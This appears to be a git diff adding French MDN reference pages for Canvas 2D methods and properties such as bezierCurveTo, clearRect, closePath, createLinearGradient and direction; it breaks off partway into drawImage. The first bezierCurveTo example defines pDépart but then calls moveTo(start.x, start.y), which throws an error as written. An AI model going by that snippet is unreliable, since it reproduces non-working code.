+ <dt><code>pointArrivéeY</code></dt>
+ <dd>La coordonnée en y du point d'arrivée.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Comment_bezierCurveTo_fonctionne">Comment bezierCurveTo fonctionne</h3>
+
+<p>Cet exemple montre comment une courbe cubique de Bézier est dessinée.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[14]">// Définit le canevas et son contexte 2D
+const canevas = document.getElementById("canvas");
+const contexte2D = canevas.getContext("2d");
+
+// Define the points as {x, y}
+let pDépart    = { x: 50,  y: 20  };
+let pContrôle1 = { x: 230, y: 30  };
+let pContrôle2 = { x: 150, y: 80  };
+let pArrivée   = { x: 250, y: 100 };
+
+// Courbe cubique de Bézier
+contexte2D.beginPath();
+contexte2D.moveTo(start.x, start.y);
+contexte2D.bezierCurveTo(pContrôle1.x, pContrôle1.y, pContrôle2.x, pContrôle2.y, pArrivée.x, pArrivée.y);
+contexte2D.stroke();
+
+// Points de départ et d'arrivée
+contexte2D.fillStyle = 'blue';
+contexte2D.beginPath();
+contexte2D.arc(pDépart.x, pDépart.y, 5, 0, 2 * Math.PI);   // Point de départ
+contexte2D.arc(pArrivée.x, pArrivée.y, 5, 0, 2 * Math.PI); // Point d'arrivée
+contexte2D.fill();
+
+// Points de contrôle
+contexte2D.fillStyle = 'red';
+contexte2D.beginPath();
+contexte2D.arc(pContrôle1.x, pContrôle1.y, 5, 0, 2 * Math.PI);  // Point de contrôle 1
+contexte2D.arc(pContrôle2.x, pContrôle2.y, 5, 0, 2 * Math.PI);  // Point de contrôle 2
+contexte2D.fill();</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>Dans cet exemple, les <span style="color: red;">points de contrôle sont rouges</span> et les <span style="color: blue;">points de départ et d'arrivée sont bleus</span>.</p>
+
+<p>{{ EmbedLiveSample('How_bezierCurveTo_works', 315, 165) }}</p>
+
+<h3 id="Une_simple_courbe_cubique_de_Bézier">Une simple courbe cubique de Bézier</h3>
+
+<p>Cet exemple dessine une simple courbe cubique de Bézier en utilisant <code>bezierCurveTo()</code>.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript_2">JavaScript</h4>
+
+<p>La courbe débute au point spécifiée par <code>moveTo()</code>: (30, 30). Le premier point de contrôle est placé à (120, 160), le second à (180, 10) et le point d'arrivée à (220, 140).</p>
+
+<pre class="brush: js; highlight:[6]">const canevas = document.getElementById("canvas");
+const contexte2D = canevas.getContext("2d");
+
+contexte2D.beginPath();
+contexte2D.moveTo(30, 30);
+contexte2D.bezierCurveTo(120,160, 180,10, 220,140);
+contexte2D.stroke();</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{ EmbedLiveSample('A_simple_Bézier_curve', 700, 180) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-beziercurveto", "CanvasRenderingContext2D.beziercurveto")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.bezierCurveTo")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface définissant cette méthode : {{domxref("CanvasRenderingContext2D")}}</li>
+ <li><a href="http://en.wikipedia.org/wiki/B%C3%A9zier_curve">L'article Wikipédia sur les courbes de Bézier</a></li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/canvas/index.html b/files/fr/web/api/canvasrenderingcontext2d/canvas/index.html
new file mode 100644
index 0000000000..cb17a790ff
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/canvas/index.html
@@ -0,0 +1,62 @@
+---
+title: CanvasRenderingContext2D.canvas
+slug: Web/API/CanvasRenderingContext2D/canvas
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Propriété
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/canvas
+---
+<div>{{APIRef}}</div>
+
+<p>La propriété <code><strong>CanvasRenderingContext2D.canvas</strong></code> est une référence à l'objet {{domxref("HTMLCanvasElement")}} qui est associé au contexte. Il peut être {{jsxref("null")}} s'il n'est pas associé à un élément {{HTMLElement("canvas")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var><em>ctx</em></var>.canvas;</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Soit cet élément {{HTMLElement("canvas")}}:</p>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>Vous pouvez obtenir la référence à l'élément <code>canvas</code> grâce à <code>CanvasRenderingContext2D</code> en utilisant la propriété <code>canvas</code> :</p>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+ctx.canvas // HTMLCanvasElement
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-canvas", "CanvasRenderingContext2D.canvas")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.canvas")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("CanvasRenderingContext2D")}}</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/clearrect/index.html b/files/fr/web/api/canvasrenderingcontext2d/clearrect/index.html
new file mode 100644
index 0000000000..78c8ff8104
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/clearrect/index.html
@@ -0,0 +1,145 @@
+---
+title: CanvasRenderingContext2D.clearRect()
+slug: Web/API/CanvasRenderingContext2D/clearRect
+tags:
+  - API
+  - Canvas
+  - CanvasRendering2D
+  - Méthode
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/clearRect
+---
+<div>{{APIRef}}</div>
+
+<p>La méthode <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.clearRect()</code></strong> de l'API 2D des Canvas met en noir transparent tous les pixels dans le rectangle défini par le point de départ de coordonnées <em>(x, y)</em> et par les tailles <em>(largeur, hauteur)</em>, supprimant tout contenu précédemment dessiné.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.clearRect(x, y, largeur, hauteur);</var>
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>La coordonnée sur l'axe des <em>x</em> du point de départ du rectangle.</dd>
+ <dt><code>y</code></dt>
+ <dd>La coordonnée sur l'axe des <em>y</em> du point de départ du rectangle.</dd>
+ <dt><code>largeur</code></dt>
+ <dd>La largeur du rectangle.</dd>
+ <dt><code>hauteur</code></dt>
+ <dd>La hauteur de rectangle.</dd>
+</dl>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<p>Un problème classique avec <code>clearRect</code> est qu'il peut apparaître comme ne fonctionnant pas si l'on n'<a href="https://developer.mozilla.org/fr/docs/Tutoriel_canvas/Formes_g%C3%A9om%C3%A9triques#Drawing_paths">utilise pas les trajets de façon appropriée</a>. N'oubliez pas d'appeler {{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}} avant de commencer à dessiner une nouvelle image après avoir appelé <code>clearRect</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_clearRect">Utilisation de la méthode <code>clearRect</code></h3>
+
+<p>Ceci est seulement un fragment de code simple qui utilise la méthode <code>clearRect</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[11]">var canevas = document.getElementById("canvas");
+var ctx = canevas.getContext("2d");
+
+ctx.beginPath();
+ctx.moveTo(20,20);
+ctx.lineTo(200,20);
+ctx.lineTo(120,120);
+ctx.closePath(); // dessine la dernière ligne du triangle
+ctx.stroke();
+
+ctx.clearRect(10, 10, 100, 100);
+
+// effacer le canevas entièrement
+// ctx.clearRect(0, 0, canvas.width, canvas.height);
+</pre>
+
+<p>Modifiez le code suivant et voyez vos changements en direct dans le canevas :</p>
+
+<div class="hidden">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code" style="height:140px;"&gt;
+ctx.beginPath();
+ctx.moveTo(20,20);
+ctx.lineTo(200,20);
+ctx.lineTo(120,120);
+ctx.closePath(); // dessine la dernière ligne du triangle
+ctx.stroke();
+
+ctx.clearRect(10, 10, 100, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 400) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-clearrect", "CanvasRenderingContext2D.clearRect")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.clearRect")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface la définissant, {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.fillRect()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.strokeRect()")}}</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/closepath/index.html b/files/fr/web/api/canvasrenderingcontext2d/closepath/index.html
new file mode 100644
index 0000000000..b3748ccbd7
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/closepath/index.html
@@ -0,0 +1,166 @@
+---
+title: CanvasRenderingContext2D.closePath()
+slug: Web/API/CanvasRenderingContext2D/closePath
+tags:
+  - Méthode
+translation_of: Web/API/CanvasRenderingContext2D/closePath
+---
+<div>{{APIRef}}</div>
+
+<p>La méthode <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.closePath()</code></strong> de l'API Canvas 2D provoque le retour du stylo au point de départ du sous-traçé courant. Il le fait en ajoutant une ligne droite entre le point courant et le point rejoint. Si la figure a déjà été fermée ou n'est constituée que d'un seul point, cette méthode ne provoque rien.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.closePath();</var>
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_la_méthode_closePath">Utiliser la méthode <code>closePath</code></h3>
+
+<p>Voici un exemple d'utilisation de la méthode closePath.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[8]">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.beginPath();
+ctx.moveTo(20,20);
+ctx.lineTo(200,20);
+ctx.lineTo(120,120);
+ctx.closePath(); // ferme le triangle par une ligne droite
+ctx.stroke();
+</pre>
+
+<p>Editez le code ci-dessous et observez les répercutions dans le canvas:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code" style="height:140px;"&gt;
+ctx.beginPath();
+ctx.moveTo(20,20);
+ctx.lineTo(200,20);
+ctx.lineTo(120,120);
+ctx.closePath(); // draws last line of the triangle
+ctx.stroke();&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 400) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-closepath", "CanvasRenderingContext2D.closePath")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>The interface defining it, {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.beginPath()")}}</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/createlineargradient/index.html b/files/fr/web/api/canvasrenderingcontext2d/createlineargradient/index.html
new file mode 100644
index 0000000000..76fb50df9f
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/createlineargradient/index.html
@@ -0,0 +1,150 @@
+---
+title: CanvasRenderingContext2D.createLinearGradient()
+slug: Web/API/CanvasRenderingContext2D/createLinearGradient
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Gradients
+  - Méthode
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/createLinearGradient
+---
+<div>{{APIRef}}</div>
+
+<p>La méthode <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.createLinearGradient()</code></strong> de l'API Canvas 2D crée un gradient le long de la ligne donnée par les coordonnées représentées par les paramètres.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14681/mdn-canvas-linearGradient.png" style="height: 121px; width: 264px;"></p>
+
+<p>Cette méthode retourne un {{domxref("CanvasGradient")}} linéaire.</p>
+
+<p>NOTE : les coordonnées sont globales, aussi soyez conscient du fait que, lors de l'utilisation "fillRect" (et de ses amis), les coordonnées NE sont PAS relatives aux coordonnées spécifiées dans les arguments de "fillRect".</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">CanvasGradient <var><em>ctx</em>.createLinearGradient(x0, y0, x1, y1);</var>
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x0</code></dt>
+ <dd>La coordonnée sur l'axe des x du point de début.</dd>
+ <dt><code>y0</code></dt>
+ <dd>La coordonnée sur l'axe des y du point de début.</dd>
+ <dt><code>x1</code></dt>
+ <dd>La coordonnée sur l'axe des x du point de fin.</dd>
+ <dt><code>y1</code></dt>
+ <dd>La coordonnée sur l'axe des y du point de fin.</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<dl>
+ <dt>{{domxref("CanvasGradient")}}</dt>
+ <dd>Un <code>CanvasGradient linéaire</code> initialisé avec la ligne spécifiée.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_createLinearGradient">Utilisation de la méthode <code>createLinearGradient</code></h3>
+
+<p>Ceci est seulement un simple fragment de code qui utilise la méthode <code>createLinearGradient</code> pour créer un {{domxref("CanvasGradient")}} avec les points de début et de fin spécifiés. Une fois créé, vous pouvez utiliser la méthode {{domxref("CanvasGradient.addColorStop()")}} pour définir de nouveaux arrêts sur le gradient, avec des déplacements et des couleurs spécifiés. Le gradient est appliqué si vous le mettez comme {{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}} courant, et il est dessiné sur le canevas lors de l'utilisation de la méthode {{domxref("CanvasRenderingContext2D.fillRect", "fillRect()")}}, par exemple.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[4]">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+var gradient = ctx.createLinearGradient(0, 0, 200, 0);
+gradient.addColorStop(0, 'green');
+gradient.addColorStop(1, 'white');
+ctx.fillStyle = gradient;
+ctx.fillRect(10, 10, 200, 100);
+</pre>
+
+<p>Modifiez le code ci-dessous et voyez vos changements mis à jour en temps réel sur le canevas :</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+var gradient = ctx.createLinearGradient(0,0,200,0);
+gradient.addColorStop(0,"green");
+gradient.addColorStop(1,"white");
+ctx.fillStyle = gradient;
+ctx.fillRect(10,10,200,100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-createlineargradient", "CanvasRenderingContext2D.createLinearGradient")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.createLinearGradient")}}</p>
+<h2 id="Notes_spécifiques_à_Gecko">Notes spécifiques à Gecko</h2>
+
+<ul>
+ <li>A partir de Gecko 2.0 {{geckoRelease("2.0")}}, le fait de spécifier des valeurs non finies  déclenche maintenant <code>NOT_SUPPORTED_ERR</code> au lieu de <code>SYNTAX_ERR</code>.</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface la définissant, {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.createRadialGradient()")}}</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/direction/index.html b/files/fr/web/api/canvasrenderingcontext2d/direction/index.html
new file mode 100644
index 0000000000..fbd78dccc5
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/direction/index.html
@@ -0,0 +1,129 @@
+---
+title: CanvasRenderingContext2D.direction
+slug: Web/API/CanvasRenderingContext2D/direction
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/direction
+---
+<div>{{APIRef}} {{SeeCompatTable}}</div>
+
+<p>La propriété <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.direction</code></strong> de l'API Canvas 2D indique la direction de texte courante utilisé lors du dessin de texte.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var><em>ctx</em>.direction = "ltr" || "rtl" || "inherit";</var>
+</pre>
+
+<h3 id="Options">Options</h3>
+
+<p>Valeurs possibles :</p>
+
+<dl>
+ <dt>ltr</dt>
+ <dd>La direction du texte est de gauche à droite.</dd>
+ <dt>rtl</dt>
+ <dd>La direction du texte est de droite à gauche.</dd>
+ <dt>inherit</dt>
+ <dd>La direction du texte est héritée de l'élément {{HTMLElement("canvas")}} ou du {{domxref("Document")}} comme approprié.</dd>
+</dl>
+
+<p>La valeur par défaut est <code>inherit</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Using_the_direction_property" name="Using_the_direction_property">Utilisation de la propriété <code>direction</code></h3>
+
+<p>Ceci est seulement un fragment de code simple utilisant la propriété <code>direction</code> pour indiquer un réglage de ligne de base différent.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+ctx.font = '48px serif';
+ctx.direction = 'ltr';
+ctx.strokeText('Hello world', 0, 100);
+</pre>
+
+<p>Modifiez le code ci-dessous et voyez vos changements mis à jour en temps réel dans le canevas :</p>
+
+<div class="hidden">
+<h6 id="Playable_code" name="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.font = '48px serif';
+ctx.direction = 'ltr';
+ctx.strokeText('Hello world', 0, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var edit = document.getElementById('edit');
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener('click', function() {
+  textarea.focus();
+})
+
+textarea.addEventListener('input', drawCanvas);
+window.addEventListener('load', drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-direction", "CanvasRenderingContext2D.direction")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.direction")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface la définissant, {{domxref("CanvasRenderingContext2D")}}.</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/drawimage/index.html b/files/fr/web/api/canvasrenderingcontext2d/drawimage/index.html
new file mode 100644
index 0000000000..1d217a65b7
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/drawimage/index.html
@@ -0,0 +1,236 @@
+---
+title: CanvasRenderingContext2D.drawImage()
+slug: Web/API/CanvasRenderingContext2D/drawImage
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Méthode
+  - Référence(2)
+translation_of: Web/API/CanvasRenderingContext2D/drawImage
+---
+<div>{{APIRef}}</div>
+
+<p>La méthode <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.drawImage()</code></strong> de l'API 2D des Canvas instaure différentes manières de dessiner des images dans les balises canvas.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.drawImage(image, dx, dy);</var>
+void <var><em>ctx</em>.drawImage(image, dx, dy, dLargeur, dHauteur);</var>
+void <var><em>ctx</em>.drawImage(image, sx, sy, sLargeur, sHauteur, dx, dy, dLargeur, dHauteur);</var>
+</pre>
+
+<p><img alt="drawImage" src="https://mdn.mozillademos.org/files/225/Canvas_drawimage.jpg" style="float: right;"></p>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>image</code></dt>
+ <dd>Un élément à dessiner dans le contexte. La spécification autorise toute source d'image canvas ({{domxref("CanvasImageSource")}}), ainsi qu'une {{domxref("HTMLImageElement")}}, une {{domxref("HTMLVideoElement")}}, une {{domxref("HTMLCanvasElement")}} ou une {{domxref("ImageBitmap")}}.</dd>
+ <dt><code>dx</code></dt>
